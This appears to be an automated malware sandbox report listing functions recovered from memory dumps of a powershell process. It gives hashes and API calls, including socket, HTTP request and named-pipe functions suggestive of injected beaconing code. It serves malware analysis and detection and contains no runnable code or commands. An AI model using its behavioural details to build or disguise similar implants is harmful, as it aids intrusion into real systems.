Opcode ID: 24a34f2510a6bdda36c019d7c9474c92714271ad77d8ea5857b13b9428aab684
Instruction ID: 9b7fb0ce0df590d690e4e9a84df3ce06483fedb78fba2462d04161a28a2f1702
Opcode Fuzzy Hash: 24a34f2510a6bdda36c019d7c9474c92714271ad77d8ea5857b13b9428aab684
Instruction Fuzzy Hash: 00E1D16271070093FF74CBA5EA693AA63A1F7A4754F068125DBCE87E86DB3CE085D344

Function 0000022EF9B1916C Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a24fb40c631e4fb8bf858a82f26ba5d2e30cdac9459d39304e37b5ee64eada3e
Instruction ID: a9b308227936368885a5768574c2fa8c2da0a59b91ddd908b1fac46bf7483142
Opcode Fuzzy Hash: a24fb40c631e4fb8bf858a82f26ba5d2e30cdac9459d39304e37b5ee64eada3e
Instruction Fuzzy Hash: 8FE1D632704A83A1EF309B95E5A43EE67A1F7A478CF920011DB8D87E99EB34C985D744

Function 0000022EFA0B9D6C Relevance: .4, Instructions: 367COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fb1a47b38430a28a9ce52fe961906e0d16b6bf2ab463da1186ab792c5180ee2f
Instruction ID: 8331bcb1457d6410556cd74856e49cb29e26d58d317f5adbae47363ee1dca71b
Opcode Fuzzy Hash: fb1a47b38430a28a9ce52fe961906e0d16b6bf2ab463da1186ab792c5180ee2f
Instruction Fuzzy Hash: 05E1C762314A4262EF209B95F76439E67A1F79C7C8F820021DA49DBFB5EB3CC945D740

Function 0000022EF9B20334 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 466de111811528a62f1f30eaf25973b5c551d59befa8947403ad49e7d2f1a529
Instruction ID: 73fd1cfd9b2da8678623a770c9c92a51e0463d551cfc85ba5d5723aa0bee59bf
Opcode Fuzzy Hash: 466de111811528a62f1f30eaf25973b5c551d59befa8947403ad49e7d2f1a529
Instruction Fuzzy Hash: 7271C132614A40E6EF318FA5E66835E73E0F7A8B84F025129DAC947F94DF38C454AF48

Function 0000022EFA0DCF97 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa69cfbe2dfd85e7477dd7a8e83c12114f76cab9aed25d9437113f4cd473f74e
Instruction ID: 57127f9501db14766b3551d79096ff62ed535da517596f2af0b40090deb5e2d9
Opcode Fuzzy Hash: aa69cfbe2dfd85e7477dd7a8e83c12114f76cab9aed25d9437113f4cd473f74e
Instruction Fuzzy Hash: 38613EB6214A509BDB54CB0DE4D462AB7E1F3CC784F84421AE38B8BB78CA3CD545DB40

Function 0000022EFA0E2020 Relevance: .0, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2449b57596a50ad70bf5a79ad03ba1278d28424a0d500497218b9da266a4c145
Instruction ID: b445f5c232932eb450832e13d8518f1b5806b1264e696cb039e1d4e9af345165
Opcode Fuzzy Hash: 2449b57596a50ad70bf5a79ad03ba1278d28424a0d500497218b9da266a4c145
Instruction Fuzzy Hash: ADF01297E1DAD266FE6356949DAD3582F91A7AEA11F4F818A8B4047FE3B40D0801F212

Function 0000022EFA0E24E0 Relevance: .0, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29815153074e48871c3a2db5cbc692924d6533ff20b66ed198598eb5028f0353
Instruction ID: f0770e9e924f59feec01357c703aa86827f69510df92ff26a9f885cb6f7b8b8b
Opcode Fuzzy Hash: 29815153074e48871c3a2db5cbc692924d6533ff20b66ed198598eb5028f0353
Instruction Fuzzy Hash: 08E01CD7E0EEC15AFB6245A45EB921E2FD1A7AE900F4F408A87404BBE3A54E0C047311

Function 0000022EFA0E2068 Relevance: .0, Instructions: 18COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a38d87a5f747cfd96f0f8b0dd282aa28bb16f1709dd6933a6d9f996ca703024
Instruction ID: 57de98d6538fa8298c5ad49413b0c6c2f6e1d7b828e6ef344fc994d731bffcf2
Opcode Fuzzy Hash: 6a38d87a5f747cfd96f0f8b0dd282aa28bb16f1709dd6933a6d9f996ca703024
Instruction Fuzzy Hash: 59E04897D1D6D25AEE5756645DAE3882F90A3AF925F8B418BC64047FD3B10D0C05F311

Function 0000022EFA0E2630 Relevance: .0, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 346746c420873f5115eefdb694fe7c4ecc9345e885989bf490d76ed756ab699a
Instruction ID: cdd49959d2808f7d377b8a8589fd15b5391220e7d694c6db10a901c9cf0d696d
Opcode Fuzzy Hash: 346746c420873f5115eefdb694fe7c4ecc9345e885989bf490d76ed756ab699a
Instruction Fuzzy Hash: 81D012C7A1D6D215FEA392A49E6D3481F9063BA521F4E41CF86800EBF3A44D1801B211

Function 0000022EFA0C6BE0 Relevance: 22.7, APIs: 15, Instructions: 195networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32 ref: 0000022EFA0C6C3D
select.WS2_32 ref: 0000022EFA0C6CAB
__WSAFDIsSet.WS2_32 ref: 0000022EFA0C6CC3
accept.WS2_32 ref: 0000022EFA0C6CE0
ioctlsocket.WS2_32 ref: 0000022EFA0C6CF8
__WSAFDIsSet.WS2_32 ref: 0000022EFA0C6D9B
accept.WS2_32 ref: 0000022EFA0C6DB1

Part of subcall function 0000022EFA0C5A20: ioctlsocket.WS2_32 ref: 0000022EFA0C5A42

__WSAFDIsSet.WS2_32 ref: 0000022EFA0C6E33
__WSAFDIsSet.WS2_32 ref: 0000022EFA0C6E4B
closesocket.WS2_32 ref: 0000022EFA0C6F0D

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: acceptioctlsocket$closesockethtonlselect
String ID:
API String ID: 2003300010-0
Opcode ID: 54efb49355ab49030012f44656aa982b574d006ff9989bba4d15e008082401ba
Instruction ID: 5ee0c2036f9400118f43ed8c7f4d6a3c5c8cea76e313fcbbe0cd53ee9065c98c
Opcode Fuzzy Hash: 54efb49355ab49030012f44656aa982b574d006ff9989bba4d15e008082401ba
Instruction Fuzzy Hash: FD918C32610A91AAEF31CFA1EA9879D33A1F78C794F011126EA4D4BFA5DF38C565D700

Function 0000022EFA0BEC04 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 165networksleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 0000022EFA0BECD3
_snprintf.LIBCMT ref: 0000022EFA0BECFE
_snprintf.LIBCMT ref: 0000022EFA0BED1A
_snprintf.LIBCMT ref: 0000022EFA0BEDCF
_snprintf.LIBCMT ref: 0000022EFA0BEDE6
HttpOpenRequestA.WININET ref: 0000022EFA0BEE32
HttpSendRequestA.WININET ref: 0000022EFA0BEE65
InternetCloseHandle.WININET ref: 0000022EFA0BEE7A
Sleep.KERNEL32 ref: 0000022EFA0BEE85
InternetCloseHandle.WININET ref: 0000022EFA0BEE98

Strings

%s%s, xrefs: 0000022EFA0BEDDB
*/*, xrefs: 0000022EFA0BEC2A

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _snprintf$CloseHandleHttpInternetRequest$OpenSendSleep
String ID: %s%s$*/*
API String ID: 3787158362-856325523
Opcode ID: 74fcd7c73aed85367ed650ea4945df165b3c67cd5a727985712ddaae692fa4ee
Instruction ID: 58e8359b469f14fb117c896152673baded2efca7ab9dc8fd7969fd12abd9dae3
Opcode Fuzzy Hash: 74fcd7c73aed85367ed650ea4945df165b3c67cd5a727985712ddaae692fa4ee
Instruction Fuzzy Hash: 3F817C66200B45A5EF109BA1FA987D973A0F39C788F420122DA4D5BFB9DF7CC509E750

Function 0000022EFA0C53E4 Relevance: 18.1, APIs: 12, Instructions: 105pipesleepfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0000022EFA0C55E4
GetTickCount.KERNEL32 ref: 0000022EFA0C55F0
CreateFileA.KERNEL32 ref: 0000022EFA0C561E
GetLastError.KERNEL32 ref: 0000022EFA0C562D
WaitNamedPipeA.KERNEL32 ref: 0000022EFA0C5642
Sleep.KERNEL32 ref: 0000022EFA0C564F
GetTickCount.KERNEL32 ref: 0000022EFA0C5655
GetLastError.KERNEL32 ref: 0000022EFA0C566B
GetLastError.KERNEL32 ref: 0000022EFA0C5683
SetNamedPipeHandleState.KERNEL32 ref: 0000022EFA0C56AE
GetLastError.KERNEL32 ref: 0000022EFA0C56B8
DisconnectNamedPipe.KERNEL32 ref: 0000022EFA0C5732

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: ErrorLast$CountNamedPipeTick$CreateDisconnectFileHandleSleepStateWait
String ID:
API String ID: 34948862-0
Opcode ID: fe9bced31039d2455b0d079955692a562236962e25bf66d1b7588840a9b4026e
Instruction ID: a02e4bae9faded3ac52bb2943b3c680d992426e2d493f9f66a9c5da8cc123118
Opcode Fuzzy Hash: fe9bced31039d2455b0d079955692a562236962e25bf66d1b7588840a9b4026e
Instruction Fuzzy Hash: D1415B36644A05E6EF10DBA1FA9875D23A9E38CBA4F524224DA1A4BFB4DF3CC445A700

Function 0000022EFA0CFF6C Relevance: 18.1, APIs: 12, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 0000022EFA0CFF7D
free.LIBCMT ref: 0000022EFA0CFF9A

Part of subcall function 0000022EFA0CF244: HeapFree.KERNEL32 ref: 0000022EFA0CF25A
Part of subcall function 0000022EFA0CF244: _errno.LIBCMT ref: 0000022EFA0CF264
Part of subcall function 0000022EFA0CF244: GetLastError.KERNEL32 ref: 0000022EFA0CF26C

free.LIBCMT ref: 0000022EFA0CFFAF
free.LIBCMT ref: 0000022EFA0CFFD0
free.LIBCMT ref: 0000022EFA0CFFE5
free.LIBCMT ref: 0000022EFA0CFFF9
free.LIBCMT ref: 0000022EFA0D0005
free.LIBCMT ref: 0000022EFA0D0030
EncodePointer.KERNEL32 ref: 0000022EFA0D0038
free.LIBCMT ref: 0000022EFA0D0051
free.LIBCMT ref: 0000022EFA0D006A
free.LIBCMT ref: 0000022EFA0D009B

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: free$Pointer$DecodeEncodeErrorFreeHeapLast_errno
String ID:
API String ID: 4099253644-0
Opcode ID: f2c387d57ff385ba375dc00a6173171a26f2c39e06d74853e0125178de0f68c4
Instruction ID: d326efd2cf76664ebcaa07d7465f40b7cc2dcc364891aca820e918ff13ec2602
Opcode Fuzzy Hash: f2c387d57ff385ba375dc00a6173171a26f2c39e06d74853e0125178de0f68c4
Instruction Fuzzy Hash: 1C31F525201B40B1FE54AFD1FA5C3A527A0EB8CB94F0A06259A1A1EFF1EF7CC445B321

Function 0000022EFA0CFE10 Relevance: 18.1, APIs: 12, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0CFE36

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0CFE42
__crtIsPackagedApp.LIBCMT ref: 0000022EFA0CFE53
AreFileApisANSI.KERNEL32 ref: 0000022EFA0CFE62
MultiByteToWideChar.KERNEL32 ref: 0000022EFA0CFE88
GetLastError.KERNEL32 ref: 0000022EFA0CFE95
_dosmaperr.LIBCMT ref: 0000022EFA0CFE9D

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: ApisByteCharErrorFileLastMultiPackagedWide__crt_dosmaperr_errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1138158220-0
Opcode ID: 05425721233f79f79091f3b96a0ee25a442efda7d0ba0e08876b468a33414fe7
Instruction ID: 9d8c23c3cd5774b214a3a804d69176ef10ad4d97af70f3412c16c8766775c7aa
Opcode Fuzzy Hash: 05425721233f79f79091f3b96a0ee25a442efda7d0ba0e08876b468a33414fe7
Instruction Fuzzy Hash: 91319422300B45A2FF209FE9F65835D67E1AB8CB94F1645249A494BFF6DF3CC440A711

Function 0000022EFA0C7308 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0000022EFA0C7336
select.WS2_32 ref: 0000022EFA0C738D
__WSAFDIsSet.WS2_32 ref: 0000022EFA0C739C
__WSAFDIsSet.WS2_32 ref: 0000022EFA0C73B4
GetTickCount.KERNEL32 ref: 0000022EFA0C73BD
gethostbyname.WS2_32 ref: 0000022EFA0C73D0
htons.WS2_32 ref: 0000022EFA0C73E8
inet_addr.WS2_32 ref: 0000022EFA0C73FA
sendto.WS2_32 ref: 0000022EFA0C7423

Strings

d, xrefs: 0000022EFA0C7347

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CountTick$gethostbynamehtonsinet_addrselectsendto
String ID: d
API String ID: 1257931466-2564639436
Opcode ID: ab0c442174a33fd942d7502bed514c8ee7f8710e336f335b2024a32b2463658a
Instruction ID: 5bacc53b5b19f75485decfdf2a2520c4cd3299e2c02fbec906fef8ae7153be54
Opcode Fuzzy Hash: ab0c442174a33fd942d7502bed514c8ee7f8710e336f335b2024a32b2463658a
Instruction Fuzzy Hash: DB318F32214B85A6EF218FA1F98838A77A4F78CB84F011116EA8D4BF24DF78C555DB00

Function 0000022EF9B31B48 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 227COMMON

Download Yara Rule

APIs

write_multi_char.LIBCMT ref: 0000022EF9B31FEB
write_string.LIBCMT ref: 0000022EF9B32008
write_multi_char.LIBCMT ref: 0000022EF9B32025
write_string.LIBCMT ref: 0000022EF9B32084
write_multi_char.LIBCMT ref: 0000022EF9B320DD
free.LIBCMT ref: 0000022EF9B320F1

Strings

, xrefs: 0000022EF9B31FBF

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: write_multi_char$write_string$free
String ID:
API String ID: 2630409672-3916222277
Opcode ID: 1c8d6b8a065489df9c71b2e8ea70d157333f6dd13db57c526a3ea5ce9db962ed
Instruction ID: 80dfc98412a3de38e3a32a7de1145f90028f2f7639cadfb9b9f1151653590b3f
Opcode Fuzzy Hash: 1c8d6b8a065489df9c71b2e8ea70d157333f6dd13db57c526a3ea5ce9db962ed
Instruction Fuzzy Hash: 3BA10722708654A5FF31CBE5D628BAE6BB4F7A5794F160005DEC917F98CB39C844EB08

Function 0000022EFA0C71FC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0000022EFA0C721C
select.WS2_32 ref: 0000022EFA0C7282
__WSAFDIsSet.WS2_32 ref: 0000022EFA0C7291
__WSAFDIsSet.WS2_32 ref: 0000022EFA0C72A6
send.WS2_32 ref: 0000022EFA0C72BC
WSAGetLastError.WS2_32 ref: 0000022EFA0C72C7
Sleep.KERNEL32 ref: 0000022EFA0C72D9
GetTickCount.KERNEL32 ref: 0000022EFA0C72DF

Strings

d, xrefs: 0000022EFA0C722A

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CountTick$ErrorLastSleepselectsend
String ID: d
API String ID: 2152284305-2564639436
Opcode ID: 968d1f127f461a1dbb27dc7435d3ebfca4b5ec6114cfb3c6d112f4c985c4520d
Instruction ID: 807254945ce4b0d2ec3709d69434ca479834c813b665ce8bfeb0b1c5113c9b41
Opcode Fuzzy Hash: 968d1f127f461a1dbb27dc7435d3ebfca4b5ec6114cfb3c6d112f4c985c4520d
Instruction Fuzzy Hash: 9A217C32214A81A6EF608FA1F98838A73A1F78C784F414225EB9D4BFA4DF3CC454DB44

Function 0000022EFA0BFB08 Relevance: 15.1, APIs: 10, Instructions: 91sleepfilepipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0000022EFA0BFB29
GetLastError.KERNEL32 ref: 0000022EFA0BFB83
GetTickCount.KERNEL32 ref: 0000022EFA0BFB8E
Sleep.KERNEL32 ref: 0000022EFA0BFB9E
GetLastError.KERNEL32 ref: 0000022EFA0BFBAB
WriteFile.KERNEL32 ref: 0000022EFA0BFBDE
WriteFile.KERNEL32 ref: 0000022EFA0BFC0D
FlushFileBuffers.KERNEL32 ref: 0000022EFA0BFC25
DisconnectNamedPipe.KERNEL32 ref: 0000022EFA0BFC2F
Sleep.KERNEL32 ref: 0000022EFA0BFC43

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: File$CountErrorLastSleepTickWrite$BuffersDisconnectFlushNamedPipe
String ID:
API String ID: 3101085627-0
Opcode ID: 2fa90bf5de3d4daae598bfc7d95f016883deb1b957d31e82556552939848cc78
Instruction ID: be9e8cf1099eb8ddcd55848b401be81a38e40baf2ede53ccbec6a0000453533b
Opcode Fuzzy Hash: 2fa90bf5de3d4daae598bfc7d95f016883deb1b957d31e82556552939848cc78
Instruction Fuzzy Hash: DF414A22700945AAEF109FF5E69879C2361F74CB88F420126AE099BFB9DE3CC549E750

Function 0000022EF9B3621C Relevance: 15.1, APIs: 10, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B3624E

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

__doserrno.LIBCMT ref: 0000022EF9B36245

Part of subcall function 0000022EF9B310A8: _getptd_noexit.LIBCMT ref: 0000022EF9B310AC

__doserrno.LIBCMT ref: 0000022EF9B362AB
_errno.LIBCMT ref: 0000022EF9B362B2
_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B36316

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_getptd_noexit$_invalid_parameter_noinfo
String ID:
API String ID: 388111225-0
